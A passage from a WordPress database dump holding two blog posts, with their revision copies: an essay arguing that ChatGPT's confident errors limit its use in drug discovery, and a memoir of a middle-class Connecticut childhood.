money.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Same thing with, say, figuring out the minutiae of the protocol of a safety trial, or even writing a patent. Even if ChatGPT is just writing the first draft, I’d worry that I’d have the same trouble figuring out its mistakes as I do when it answers test questions, and those errors would creep into the final version.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, by and large, I don’t expect ChatGPT to have a big effect on the actual nuts and bolts of drug discovery right now. However, in the near future, I can imagine a version of ChatGPT being trained on a specific project’s documents. In that case, I could imagine even this version of ChatGPT being very useful for communication, like summarizing a protocol or recalling a proposed change to a formulation. After all, currently I spend a lot of time looking back through old documents and emails trying to remember what exactly we had decided to do about a certain issue, and it’d be nice to just ask a bot directly.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But, that’s in the future. For right now, I think drug discovery is safe.</p>\n<!-- /wp:paragraph -->','The place of AI/ChatGPT in drug discovery','','publish','closed','closed','','the-place-of-ai-chatgpt-in-drug-discovery','','','2023-01-18 16:58:03','2023-01-18 16:58:03','',0,'https://trevorklee.com/?page_id=334',0,'page','',0),
(335,1,'2023-01-18 16:58:03','2023-01-18 16:58:03','<!-- wp:paragraph -->\n<p>Like everyone else on Twitter, I spent last weekend playing with ChatGPT, OpenAI’s new large language model (basically, a language based AI). And, like everyone else, I was hugely impressed by its capabilities. ChatGPT understands text-based things incredibly well.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>From my own line of work (well, one of them), I gave it some tricky test problems from the GMAT, specifically the sort of problems that you’d need to answer right to get a good enough score for Harvard Business School.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Of these problems, ChatGPT did very well on difficult reading comprehension, not very well on difficult grammar, well on difficult logic, and somewhat well on difficult math. Overall, I’d say it could probably score around a 650-700 out of 800, which is not good enough for Harvard, but good enough for a top 40 business school. If you want to try for yourself on these questions, here’s a list of the hardest questions it got right in each category, and where it was also able to explain its answers correctly. The answers to these questions are in this footnote [1]:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>1. Question 5 of&nbsp;<a href=\"https://gmatclub.com/forum/linda-kerber-argued-in-the-mid-1980-s-that-after-the-american-220751.html\">this reading comprehension passage</a>, question 2 of&nbsp;<a href=\"https://gmatclub.com/forum/most-attempts-by-physicists-to-send-particles-faster-than-the-speed-of-207278.html\">this reading comprehension passage</a>, question 1 of&nbsp;<a href=\"https://gmatclub.com/forum/one-proposal-for-preserving-rain-forests-is-to-promote-the-adoption-of-150116.html\">this reading comprehension passage</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>2. This&nbsp;<a href=\"https://gmatclub.com/forum/according-to-the-laws-of-this-nation-individuals-are-minors-until-the-294380.html\">grammar question</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>3. This&nbsp;<a href=\"https://gmatclub.com/forum/veterinarians-generally-derive-some-of-their-income-from-selling-sever-242306.html\">explain or resolve logic question</a>&nbsp;and&nbsp;<a href=\"https://gmatclub.com/forum/harvester-ant-colonies-live-for-fifteen-to-twenty-years-though-indivi-321886.html\">this logical inference question</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>4. This&nbsp;<a href=\"https://gmatclub.com/forum/the-product-of-two-negative-numbers-is-160-if-the-lesser-of-the-two-220309.html\">algebra problem</a>&nbsp;and&nbsp;<a href=\"https://gmatclub.com/forum/a-pharmaceutical-company-received-3-million-in-royalties-143985.html\">this percentages question</a>&nbsp;(note: it did much more poorly on geometry, as you might expect)</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This is, to be honest, pretty amazing. It’s hard to remember sometimes that there’s not a person on the other end of this. I mean, include an essay, and this could literally be a business school application. Just for fun, I’ve included one at&nbsp;<a href=\"https://docs.google.com/document/d/1UPPsP-s12MYEgDkFYMgm9pYjDDLEc2BHHge7aUyl2ck/edit?usp=sharing\">this link</a>, along with an essay that an admissions website tells me won admission to Harvard Business School. I think you’ll be able to tell which one was ChatGPT generated, but they’re not that far apart. If you want the answer as to which is AI generated, follow the footnote [2].</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Beyond just simply needing to get better, the only real weakness I see in ChatGPT is that it is very convincing in its wrong answers. I’ve been teaching the GMAT for years, and even I find it disconcerting when ChatGPT confidently tells me the wrong answer is correct, and defends its reasoning with plausible logic. It’s especially disconcerting when it strongly defends its wrong answer under questioning. I have no idea if there’s a technical solution to this, but this does seem to be a serious problem.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, when I think of GPT’s strengths, I’d rank them in this order:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>1) Reading comprehension</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>2) Writing</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>3) Logic</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>4) Math</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>5) Explainability (i.e. the ability to explain and correct its reasoning)</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, ChatGPT excels in areas where it either doesn’t matter if it’s wrong, or if it’s very easy to tell when it’s wrong. The best fit for the former are first drafts of pretty much anything as long as there’s a good editor at the end; the best fit for the latter is stuff like code, or perhaps a help desk for easily falsified instructions (like putting together IKEA furniture).&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>For my original business, tutoring, I actually don’t think ChatGPT is a great choice right now. It would take a disciplined student to only take the correct things that ChatGPT says and ignore the rest. Most students, after realizing ChatGPT was confidently wrong about one or two answers, would likely stop using it.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But that’s not what this essay is really about. There’s a lot of hype about using ChatGPT for drug discovery, as there always is whenever there’s a new AI advance. This essay is to put the kibosh on that, with a small caveat.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>There are a few problems with trying to use ChatGPT for drug discovery. First, even if we just stick with text-based stuff, ChatGPT isn’t sophisticated enough to, say, design a phase 1 experiment. It’s really only capable of emulating the methods section of a paper, and even then it makes mistakes.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The natural response to this is to just use ChatGPT for preclinical work, like target identification. This is where I’ve seen a number of AI drug development plays end up, with some sort of language about “Analyzing millions of data points to determine targets” or “Machine learning to optimize target validation”. These are appealing in theory, but, in practice, never really advance beyond what a human can get from reading the abstract of a paper.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Like, I could ask ChatGPT, “What is a potential target for a drug to treat obesity?” and it answers leptin, which is fair, as that’s a hormone that affects fat deposition. But, leptin’s also in the table of&nbsp;<a href=\"https://sci-hubtw.hkvisa.net/10.1038/clpt.2011.82\">this list from 2011</a>&nbsp;of promising drug targets for obesity, so ChatGPT didn’t add much there. Plus, since 2011, the GLP-1 agonists have done way, way better than leptin, so ChatGPT isn’t even reflecting the state of the art in 2021.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F0920639b-a76c-46c0-bdd1-f2872040ce53_940x900.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F0920639b-a76c-46c0-bdd1-f2872040ce53_940x900.png\" alt=\"\"/></a></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>Other parts of drug discovery are way too important to trust to ChatGPT’s overconfidence. For example, as I discussed in my last essay, manufacturing drugs is really, really hard. There’s no way I’d ask ChatGPT for advice on manufacturing drugs because I wouldn’t be able to figure out if it was wrong until I had already invested a lot of time and money.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Same thing with, say, figuring out the minutiae of the protocol of a safety trial, or even writing a patent. Even if ChatGPT is just writing the first draft, I’d worry that I’d have the same trouble figuring out its mistakes as I do when it answers test questions, and those errors would creep into the final version.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, by and large, I don’t expect ChatGPT to have a big effect on the actual nuts and bolts of drug discovery right now. However, in the near future, I can imagine a version of ChatGPT being trained on a specific project’s documents. In that case, I could imagine even this version of ChatGPT being very useful for communication, like summarizing a protocol or recalling a proposed change to a formulation. After all, currently I spend a lot of time looking back through old documents and emails trying to remember what exactly we had decided to do about a certain issue, and it’d be nice to just ask a bot directly.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But, that’s in the future. For right now, I think drug discovery is safe.</p>\n<!-- /wp:paragraph -->','The place of AI/ChatGPT in drug discovery','','inherit','closed','closed','','334-revision-v1','','','2023-01-18 16:58:03','2023-01-18 16:58:03','',334,'https://trevorklee.com/?p=335',0,'revision','',0),
(336,1,'2023-01-18 17:05:05','2023-01-18 17:05:05','<!-- wp:paragraph -->\n<p>I like to think I had a pretty ordinary childhood, all things considered. I grew up in the 90’s and early 2000s in a small town next to a small city in Connecticut, which is, as you might know, a small state next to New York and Massachusetts. According to Wikipedia, my town, Waterford, has about 20,000 people, is mostly white, and has a median income of $75k. The city next door, New London, is 60% white, has about 30,000 people, and has a median income of $44,000.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>My mother was a doctor with her own practice, while my father was a self-employed investor. So, I grew up solidly upper-middle class. Our house was, frankly, nicer than most of my friends’ houses, but it wasn’t until I went to college that I saw anyone with stratospheric levels of wealth. Now that I live in Boston, I walk past nicer houses and richer people all the time. Of course, I now also walk past people sleeping on the sidewalk, which I never saw growing up. We were all somewhere in the vast middle.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Anyways, that was just some context. Here are some details on my peculiar, ordinary childhood.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>1. My first school, elementary school, was a private religious school. Specifically, it was Jewish, which is what I was raised/born as. Along with normal elementary school subjects, we would have 45 minutes of prayer every day, and about half our classes were Bible (Torah) related. In these classes, depending on the teacher, we’d be taught the Bible either as important lessons or historical fact.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>By the time I left elementary school at age 12, I had a solid knowledge of reading, writing, math, and the Bible. I had no knowledge of science besides what I had learned on my own. I also had no knowledge of foreign languages, despite having an hour of Hebrew instruction per day. This was probably because our Hebrew teachers did not speak Hebrew themselves.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Elementary school also marked the first and last time I ever learned Connecticut-specific history, even though that was the state I grew up in. All that I remember is that at some point we had to hide our Constitution in a tree to shield it from the British.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F04daa58e-ea87-44df-b095-84884213d857_350x280.jpeg\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F04daa58e-ea87-44df-b095-84884213d857_350x280.jpeg\" alt=\"\"/></a><figcaption class=\"wp-element-caption\">According to Wikipedia, this is a painting of the official Charter Oak, in whose hollow our Charter was allegedly hid.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>2. After elementary school, I attended a private middle and high school until I left for university at age 18. This school was roughly $20-30k per year to attend, more than double the cost of my elementary school.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Growing up, I had a very strong sense that I absolutely had to attend this private school as my local public middle and high school were, supposedly, gang-ridden. In retrospect, given that I grew up in a town that had a median income of $70k and that most of my friends from elementary school went to the public school, this is very unlikely. Still, the teaching quality was probably better. And, more importantly, the private school was able to kick out problem students in a way that the public school was not.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Interestingly, I also had a very strong sense that the public school of the town next door, East Lyme, was the sort of school I’d be fortunate to attend. Unfortunately, legally, I was unable to attend that school. My parents checked.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>3. As a Jewish kid, I was expected to have a Bar-Mitzvah, a traditional coming-of-age ceremony at age 13. This entailed several months of Sunday morning Bible study (easy for someone who had gone to Jewish school), a Saturday of leading prayers and chanting from the Torah, and then an expensive party.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>For my party, my parents rented a ballroom at the Marriott, hired a DJ/MC, and catered a buffet style dinner for several hundred guests, including my friends, everyone in the local Jewish community, and extended family. This was a nice party but not exceptional by the standards of the community. The exceptional party was thrown by the daughter of the family that owned the Marriott (and about 30 other Marriotts besides), who turned the ballroom of a Marriott into a kid-friendly mall in which all items were free.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Because I had gone to a Jewish school and then Sunday morning Bible study, I ended up being invited to probably 40 Bar and Bat Mitzvahs around age 13. This took up a lot of my social calendar for about a year or so, and I became adept at slipping into Bar and Bat Mitzvahs right as the prayers would end and the pre-party would begin.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In retrospect, this was the last time I felt really plugged into a broader community like that. After the flurry of Bar and Bat Mitzvahs ended, I stopped attending synagogue, as did most of my friends, and I slowly drifted away from the Jewish community (although not enough to avoid news of myself being still spread around the community, as I find out every time I visit). In retrospect, this explained why the average age of synagogue attendees was so old.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>4. I had never taken school seriously, in any form, before age 12. I got good grades, but that was very easy. I mostly just tried to read by myself.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Starting by age 12, my parents ratcheted up the pressure on me to perform well in school in all respects. Not only did that mean I needed excellent grades, it also meant I needed to be good at sports and, ideally, popular. I had been on-and-off with tennis, swimming, and soccer lessons since I was 4 or 5, but suddenly that became more serious. I joined the school soccer, swimming, and tennis teams, along with taking tennis lessons on the side. As an ok athlete, this meant that I was pretty good at tennis, and not great at either of the other two. This also kept me busy for 2 hours a day every weekday.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The ultimate goal for all of this was, of course, college. I first met with a college counselor at age 12 or 13, who provided oracular advice to me and my parents on how to structure the next 6 years of my life in order to get into an excellent college. The most important thing, in the counselor’s mind, was to be incredible at something. The easiest way to do this was to be incredibly talented at a niche sport, like squash or fencing, although starting a youth organization that got national recognition was also a good way to do it.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I ended up falling in love with breakdancing and hip hop at age 13 or 14 and joining a local dance group. We would travel around and compete against other dance groups at big competitions. This was much more organized than it sounds, as the big competitions were organized by a billion dollar company, Varsity, which also organized huge cheerleading competitions that would later be valorized on Netflix.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>My parents were at first completely baffled by why and how I was so interested in breakdancing. But once they realized that there were competitions that were legible to a college admissions officer, they were on board, and my dad dutifully ferried me to competitions across the east coast of the US.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Overall, this was a great part of my childhood. I had a fun time, my team won “Worlds”, and it helped me get into an excellent school. However, it was a much worse bargain for the rest of my team, many of whom could barely afford the fees for the team itself, never mind the travel, and had no intention of going to excellent schools or even college at all. Still, I see a lot of them reminiscing on Facebook about the time they were an “international dance champion”, so maybe it was worth it in that sense.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F775691ce-6cbe-408d-b5dd-de90d8c706ef_1802x1428.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F775691ce-6cbe-408d-b5dd-de90d8c706ef_1802x1428.png\" alt=\"\"/></a><figcaption class=\"wp-element-caption\">This is a poor-quality video of one of our winning performances. I can’t figure out which one I am.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>5. Being popular was a tough nut to crack in middle school and high school. The cool kids in my high school were not athletes or the class president. The cool kids were the kids who didn’t care about anything except drugs. At my Bar Mitzvah, for instance, some of the cool kids showed up high. To be clear, these were 12 year olds showing up high on a Saturday morning at a synagogue.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, to be popular, good in school, and good at sports was an impossible thing to do honestly. My brothers managed it by hiding how much they cared about sports or school. I didn’t manage it, and made friends with the nerdy kids. This worked until my last two years of high school, when my nerdy friends also got very into drugs and alcohol. They would drink and smoke themselves into a stupor. Because I didn’t want to join them, I eventually no longer got invited to their parties, and spent the last year of high school quite lonely.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>6. My parents were quite strict about anything they thought could get us off track of going to an excellent university. This meant that drugs, alcohol, and friends on weekdays were off-limits.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Nothing else really mattered, though. Girlfriends were not only welcomed but encouraged, and my parents were totally ok with locked doors and suspiciously loud music. Similarly, there were no real expectations of any sort of community involvement, besides the odd religious holiday. There was an expectation of “productive” summers, but summer camp was included in that definition of productive.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The only exception to this was chores, which were important. We did have to clean the dishes, take out the trash, and shovel snow and/or dog shit, depending on the season.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>7. Speaking of dishes, my mother worked and my father stayed home, which meant homecooked meals were the exception rather than the norm. Dinner was either steak with mashed potatoes, spaghetti with meatballs or steak, or takeout. My mom’s cooking on her nights off was a welcome relief.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>8. While takeout was incredibly common, eating out at a restaurant was not. A big part of this was just that we were geographically isolated from anything other than houses. It was over a mile walk to any store and there were no continual sidewalks.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>There also was no reliable public transportation. So, the only way to get to any, well, anything, was to drive. The single most important event of every single kid and parent’s life was getting a driver’s license, as that marked the transition from your (or your friend’s) parent transporting you to you transporting yourself. Every single part of a child’s life opened up after age 16.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Before that, I had to walk anywhere I wanted to go, which was not easy. To get to the mall, I had to walk about a mile and a half and cross a highway. To get to a bookstore or cafe, I had to walk a mile and a half alongside a highway. Basically, the single most prominent architectural feature was the highway.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>9. Speaking of getting around, my brothers and I were allowed to explore our neighborhood from an early age, whether by foot or by bike. This was less exciting than it sounded, as our neighborhood was solely single-family houses, and the only people we knew were our direct neighbors. It was pretty impossible to meet anyone else as they just stayed in their houses.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>We were not allowed to go into the city, and we were thoroughly scared enough not to go. It was heavily impressed upon us that, if we did go, we’d likely be shot. It’s hard to say how fair this was. New London does have a murder rate around double the national average, which amounts to 2-3 people killed per year.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I will say that none of my friends who spent much more time than I did in the city ever got shot or even beat up. And, when I started to spend more time in the city after getting a car, I never felt unsafe.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>10. As probably seems obvious by now, there was a strong undercurrent of fear that ran throughout my childhood.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>From an early age, there was the pervasive fear of something bad happening to the Jews again, reinforced by intertwined lessons about the Egyptian Pharaoh and Hitler (on a side note, these metaphors were lost on me, and I spent a fair amount of my childhood treating them both as equally historical fact and possibly contemporaries).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Starting in the middle of elementary school, the September 11 attacks occurred, and we added an additional fear of attacks happening to America. The local nuclear power plant distributed leaflets on how and when to take iodine pills in case an attack triggered a meltdown.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In middle school, there were new fears. There were fears of people from “the city” who came on scholarship to my private school, fears of being a loser, and fears of having the wrong friends.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>And then, finally, there were high school fears. Fears of not getting into the right college, fears of never getting out of my town, and, suddenly, fears for my friends of the sudden contagion of depression, anxiety, and drug/alcohol addiction that seemed to run through my high school like wildfire.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>That last one came as a shock. I ended up spending all of my final year of high school talking my best friend out of harming himself, his ex-girlfriend, or anyone else, in front of a backdrop of my other close friends smoking themselves into oblivion every night. As I said before, it was a lonely time, especially once I felt like I could no longer take responsibility for my best friend’s well-being. I ratted on him to his parents and to the school principal, and, after talking to him every day for at least 4 years, I haven’t talked to him since. That was just about 12 years ago now.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>11. It’s easy now, in retrospect, to see where this fear might have come from. The middle class in America is always in a precarious position, even the upper middle class like mine. Fear is always part of the package, both the worry that you’ll drop down to the lower (or “working”) class and the anxiety that you’ll ever make it to the upper class.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To my parents, community colleges, state schools, and working at McDonald’s were all part of the same package of threats that they used to launch at me whenever they felt I wasn’t trying hard enough to get into a good school. And good schools, of course, were those that were on top of the US News and World Report list, and that promised good lives and good jobs at the top of the American social system.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>12. The specific contagion of anxiety, depression, and substance abuse that swept my high school is probably also explainable. I entered high school in 2007, and my classmates (and our parents) went through both the national financial crisis of 2008. Many of the mortgages on my classmates’ homes went underwater, and many of my classmates’ parents lost their jobs. My father, a self-employed investor, went through several years of waking up at 4 am to reexamine his portfolio, and went through an almost compulsive phase of saving home energy costs by turning off lights, often while people were still in the room.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>And, in 2009, Pfizer, possibly the biggest white collar employer in my local region, announced they were shutting their R&amp;D Center in New London and moving it to Cambridge, MA, about a mile away from where I’m writing this now. Ironically, this was right after winning a Supreme Court case for the right to build it in New London through eminent domain. Many of the most senior people’s jobs were eliminated, while the less senior people were told they had to move to Cambridge if they wanted to keep their jobs.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>These were twin shocks: one national, one local. We had been told throughout my childhood that our way of life was in danger: from the Japanese, who would outcompete us; from the Muslim world, who would terrorize us; from the Chinese, who would undercut us. We were never told that the danger could come from within, that PDFs and Excel spreadsheets in our own city could betray us.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>It’s hard to ever really figure out cause and effect, and what changes a life. I can’t say that all of our problems were because of this. I can say for sure that it was sad to see a former research scientist with a PhD forced to teach 7th grade biology, and then get fired because he couldn’t pretend interest in it. I can say for sure that many parents became too preoccupied to notice their 16 year old children piling out wine bottles in their room, or smoking so much weed that they started to believe in the reptilian conspiracy.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>And I can definitely say for sure that it was very strange to see a full 20% of my class in a college preparatory school not go to college, and that many of those kids still haven’t found a path more than 10 years later, and that, in my brothers’ class two years earlier, almost everyone went to college and now have respectable jobs and families. But can I really trace that back to a CEO’s choice to lay off a bunch of people to save money? I don’t know.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>13. Rapid fire facts for the international people in the audience:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>a. Guns are very common in America, but not in my corner. There was a local gun range I went to once, but none of my friends owned a gun. We did play paintball and laser tag, though, which are both very fun imitations of shooting each other.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>b. Nobody ever dances at white American parties. This is a continual source of regret for me.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>c. Growing up, I heard mostly English, and occasionally Spanish in the less wealthy neighborhoods. I didn’t hear any other languages spoken in the street until college, which is probably why nobody in my school ever managed to learn a foreign language. Even my French teacher admitted that she couldn’t understand spoken French.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>d. Casual racism in school was very common, as was homophobic language. This changed rapidly, though, and I get the sense that now that is not true at all. Transphobia was not common because we weren’t aware of the existence of transgender people until a girl in my brothers’ class transitioned, and then we were mostly just baffled by it.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>e. We did drink from red solo cups and play beer pong at parties.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>f. The international food options were American Chinese food, sushi, Americanized Indian food, and Thai food. I still remember the excitement of ordering off of the hidden, Chinese-only menu at our local Wokery. It was not good.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>g. There are strict laws in the US about how many hours people under 18 could work. There was also a strange disdain for casual entrepreneurship by children, like mowing lawns or delivering newspapers. All of this meant that it was not that common for myself or my friends to have any sort of money-making ventures during the school year, even for my friends whose families were much worse off than mine.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>h. This is not a fact, but in my last year of high school, my friend Dan had recently broken up with his girlfriend, Alice, in favor of the girl who had been crushing on him for years, Michelle. My high school had a tradition in which students were supposed to compose and perform original pieces for an annual concert.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Alice composed a piece about how much she missed Dan, and she had all these lines about how the sheets in her bed still bear his imprint. Michelle composed a piece about how happy she was that they were finally together. Michelle’s piece won an award, and Alice’s didn’t. Dan’s face was beet red the entire night.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>i. My parents, like most Northeastern middle class Americans, saw proper places to go on vacation as the following: Colorado for skiing, Florida for tennis and theme parks, Western Europe for culture, and Caribbean resorts for relaxing. We went to Canada once (even though it was only a few hours north by driving), California and Alaska once, and Mexico and our national parks never.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I still haven’t been to most of the US.</p>\n<!-- /wp:paragraph -->','Peculiar facets of my ordinary, middle-class American childhood','','publish','closed','closed','','peculiar-facets-of-my-ordinary-middle-class-american-childhood','','','2023-01-18 17:05:05','2023-01-18 17:05:05','',0,'https://trevorklee.com/?page_id=336',0,'page','',0),
(337,1,'2023-01-18 17:05:05','2023-01-18 17:05:05','<!-- wp:paragraph -->\n<p>I like to think I had a pretty ordinary childhood, all things considered. I grew up in the 90’s and early 2000s in a small town next to a small city in Connecticut, which is, as you might know, a small state next to New York and Massachusetts. According to Wikipedia, my town, Waterford, has about 20,000 people, is mostly white, and has a median income of $75k. The city next door, New London, is 60% white, has about 30,000 people, and has a median income of $44,000.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>My mother was a doctor with her own practice, while my father was a self-employed investor. So, I grew up solidly upper-middle class. Our house was, frankly, nicer than most of my friends’ houses, but it wasn’t until I went to college that I saw anyone with stratospheric levels of wealth. Now that I live in Boston, I walk past nicer houses and richer people all the time. Of course, I now also walk past people sleeping on the sidewalk, which I never saw growing up. We were all somewhere in the vast middle.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Anyways, that was just some context. Here are some details on my peculiar, ordinary childhood.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>1. My first school, elementary school, was a private religious school. Specifically, it was Jewish, which is what I was raised/born as. Along with normal elementary school subjects, we would have 45 minutes of prayer every day, and about half our classes were Bible (Torah) related. In these classes, depending on the teacher, we’d be taught the Bible either as important lessons or historical fact.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>By the time I left elementary school at age 12, I had a solid knowledge of reading, writing, math, and the Bible. I had no knowledge of science besides what I had learned on my own. I also had no knowledge of foreign languages, despite having an hour of Hebrew instruction per day. This was probably because our Hebrew teachers did not speak Hebrew themselves.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Elementary school also marked the first and last time I ever learned Connecticut-specific history, even though that was the state I grew up in. All that I remember is that at some point we had to hide our Constitution in a tree to shield it from the British.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image 